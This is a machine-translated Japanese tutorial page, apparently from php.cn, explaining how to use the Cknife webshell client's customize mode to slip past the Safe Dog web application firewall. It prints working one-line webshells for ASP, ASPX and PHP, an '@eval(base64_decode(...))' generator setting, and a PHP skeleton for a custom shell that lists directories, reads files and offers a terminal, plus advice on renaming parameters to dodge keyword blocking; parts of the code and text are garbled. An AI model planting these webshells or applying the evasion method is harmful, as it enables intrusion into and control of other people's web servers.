ホームページ > バックエンド開発 > PHPチュートリアル > 犬の棒打ち方法:Cknife(Cナイフ)カスタムモードで安全犬を数秒で倒す

犬の棒打ち方法:Cknife(Cナイフ)カスタムモードで安全犬を数秒で倒す

WBOY
リリース: 2016-06-23 13:13:34
オリジナル
2643 人が閲覧しました

免責事項: このサイトで提供されているセキュリティ ツールとプログラム (方法) は攻撃的である可能性があり、セキュリティの研究と教育のみを目的としており、自己責任でご利用ください!

関連記事:

クロスプラットフォーム バージョンのチャイニーズ キッチンナイフ Cknife がリリースされました

中華包丁のクロスプラットフォーム バージョンである Cknife が正式にオープンソースになりました

0×00 前書き

多くの友人は、Cknife を使用しているとき、それが単なるクロスプラットフォームのキッチン アップグレード バージョンであると誤解しています実際、クロスプラットフォーム機能しか持っていないのですが、実際には WAF を克服できる強力なツールです。 使い方を説明していませんでした。これは私の責任です。責任あるゲイですので、次の記事を用意しています。

0×01 2 つの方法

Cknife があります。 2 つの WAF モードがあります。1 つは WAF を渡すように構成ファイル (Config.ini) を変更するモード、もう 1 つは WAF を渡すようにカスタマイズ モードです。 今日は、カスタム モードを例として、Safe Dog を数秒で倒す方法を説明します。 もちろん、この記事が公開された後、大手 WAF メーカーは間違いなく特定の機能をブラックリストに登録します。これはアイデアを提供するための出発点にすぎません。

0×02 ReadMe.txt

ソフトウェアを使用するときに彼女に注意を向けることはほとんどありません。ここに WAF に関するいくつかの内容を添付しますので、赤い部分をよく読んでください。

[ここでは 1W の単語が省略されています]

使用説明:

サーバーサイド スクリプトは、ASP、ASPX、PHP、JSP、カスタマイズ (カスタマイズ) をサポートしています。

コードには次のコードが含まれますが、これらに限定されません (PHP の create_function、assert など、eval に似た関数を構築できる限り)

ASP:

<%eval request("Cknife")%>
ログイン後にコピー

ASP.NET:

<%@ PageLanguage="Jscript"%><%eval(Request.Item["Cknife"],"unsafe");%>
ログイン後にコピー

PHP:

<?php @eval($_POST['Cknife']);?>
ログイン後にコピー

JSP:

[コードの詳細については 1.jsp を参照]

カスタマイズ:

カスタム タイプ、関数コードはサーバーに保存され、理論的には、 Cナイフを正しく。このモードは必要に応じてカスタマイズできます。たとえば、ディレクトリを参照するだけ、または仮想端末機能のみが必要な場合など、コードは非常に短くできます。

WAF:

これは、設定ファイルに基づいたクロスプラットフォームの中華包丁です。メイン プログラムは、グラフィック表示とデータ送信のみを目的としています。

各ステップを分離して構成ファイルに書き込みました。ユーザーは、パラメーター名やパラメーターの内容の変更など、任意のコードをカスタマイズできます。

例:

 SKIN=javax.swing.plaf.nimbus.NimbusLookAndFeel设置皮肤为nimbusSPL=->|                                               表示截取数据的开始符号SPR=|<-                                               表示截取数据的结束符号CODE=code                                      编码参数ACTION=action                                      动作参数PARAM1=z1                                     参数1PARAM2=z2                                     参数2PHP_BASE64=1                                       当为PHP时,Z1,Z2参数是否开启自动base64加密,如果想定义自己的加密方式则关闭设置为0PHP_MAKE=@eval(base64_decode($_POST[action]));生成方式,这里可以不用该方式,可以用你任何想要的方式PHP_INDEX=...                                    显示主页功能的代码放这儿PHP_READDICT=...                                     读取主页功能的代码放这儿PHP_READFILE=...                                      读取文件功能的代码放这儿PHP_DELETE=...                                    删除文件夹以及文件功能的代码放这儿PHP_RENAME=...                                    重命名文件夹以及文件功能的代码放这儿PHP_NEWDICT=...                                    新建目录功能的代码放这儿PHP_UPLOAD=...                           上传文件功能的代码放这儿PHP_DOWNLOAD=...                                    下载文件功能的代码放这儿PHP_SHELL=...                                   虚拟终端功能的代码放这儿PHP_DB_MYSQL=...                                   管理MYSQL数据库功能的代码放这儿ASP_...=...ASPX_...=...JSP_...=...
ログイン後にコピー

WAF を渡すために上記のパラメーターを変更することに加えて、プログラムは WAF を渡すための追加のカスタマイズ モードも提供します。

カスタマイズ モードは元々、ユーザーが作成したスクリプトがチョッパーと正しく対話できる限り、CFM、ASMX、ASHX、PY などのプログラムでデフォルトではサポートされていない一部のスクリプトをサポートするために使用されました。

別の考え方として、ファイルとディレクトリをリストする機能を実装するための PHP スクリプトを自分で作成する場合、この時点で PHP (Eval) 接続方法を選択すると、C ツールと正しく対話できます。接続は失敗します。

接続にはカスタマイズモードを選択する必要があります。なぜ 1 文で接続できるのに、カスタマイズ モードで接続するには非常に多くのコードを記述する必要があるのか​​と疑問に思う人もいます。非常に強力な WAF が eval、assert などのキーワード

を検出した場合、言葉を発するのは非常に大変です。現時点では、何も言わずに PHP スクリプトで通常のコードを使用してファイルとディレクトリを一覧表示し、次のコマンドを使用できます。カスタマイズ モード接続により、WAF を通過するという目的が達成されます。

カスタマイズ モードも他のモードと同じで、ユーザーはパラメータ名と内容を指定することもできます。

たとえば、カスタマイズ モードで接続された独自の Customize.php サーバーを作成しました。

ホーム ページ機能を表示するために送信されるパラメーターは、password=1&action=index およびpassword=1&action=readdict である必要があります。

C-knife が普及したら、WAF メーカーは間違いなく reddict をブラックリストに登録するでしょう。この時点で、readdict の名前を別の名前に変更することも、アクションの名前を変更することも、1 を他の文字に変更することもできます。

0× 03 WAF 原則によるカスタマイズ モード

一文だけを使用すると、多くのメーカーは eval などの機密キーワードや、送信プロセス中のデータ パケット内の機密キーワードをブロックしています。通常、ディレクトリの一覧表示やファイルの読み取りなどの機能を実装する必要があるだけであり、WAF をバイパスするための eval などの機密性の高いキーワードは含めません。つまり、サーバーは文を使用せず、すべての機能コードをサーバー上に配置して実行します。およびクライアントは通常のパケットを送信します。

0×04 犬を横切る準備中

何人かの友人は、ディレクトリの一覧表示やファイルの読み取りなどの関数をまだ書く必要があると言いましたが、それは間違いなく役に立ちません。実際、自分で記述する必要はなく、コピーして貼り付けて変更するだけで済みます。

プログラミングの基本をいくつか理解する必要があります (心配しないでください。if ステートメントを知っているだけです)。あとは、私が指定したフレームワークに従ってそれを追加するだけです。 PHP を例に挙げます。

フレームワークは次のとおりです。

$pwd= 'Cknife' $_POST ['action']; // アクション名

;

echo ("->|"); // 事前区切り文字

if ($act == 'index') { // ホームページの表示関数

} else if ($act == 'readdict' ) { //ディレクトリを読み込む関数

} else if ($act == …) // 実装したい関数はConfig.iniから復号化して利用可能

{

}

echo (" ;まず復号してみましょう。まず URL 復号、次に Base64 復号です

復号結果を Eclipse に入れて自動的に整理します (右クリック Source->Format)

エコーを削除します (“->|” ) 前にあるすべてのコード。エコー ("|

次に、PHP_READDICT の復号化を見つけます。 ここで、z1 パラメータの前にあるbase64_decode 関数に注意してください。元のテキスト送信であり、自動的に Base64 暗号化されません

したがって、base64_decode

関数を削除する必要があります

これはまだ古いルールです。echo (“->|”) の前にすべてのコードを削除します。エコー後のすべてのコード (「|

最後に、前の方法に従ってファイルを読み取る機能、つまり PHP_READFILE を追加します

コードを test.php として保存し、カスタム モードを選択して接続します

テストで見つかりました傍受はなかったということ

次の文に接続しようとしたところ、傍受されることがわかりました

ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート